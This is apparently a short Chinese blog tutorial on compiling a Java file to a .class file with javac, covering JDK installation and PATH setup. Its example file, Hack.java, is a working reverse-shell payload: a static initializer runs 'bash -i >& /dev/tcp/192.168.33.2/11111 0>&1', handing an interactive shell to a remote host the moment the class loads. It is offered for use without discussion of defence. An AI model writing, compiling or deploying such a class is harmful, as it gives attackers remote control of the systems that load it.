java编译成class文件方法

比如我们有Hack.java文件

import java.lang.Runtime;
import java.lang.Process;
public class Hack {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.33.2/11111 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

怎么编译成class文件呢
首先需安装jdk,可从官网下载
https://www.oracle.com/java/
java编译成class文件方法_第1张图片

安装完成后,记得配置环境变量。我们将JDK的安装目录下的bin文件所在路径配置到环境变量的path变量中。
在这里插入图片描述

然后执行命令
javac Hack.java
在这里插入图片描述

发现生成class文件
在这里插入图片描述

注意java文件名应与代码内定义的类名一致

你可能感兴趣的:(java,开发语言)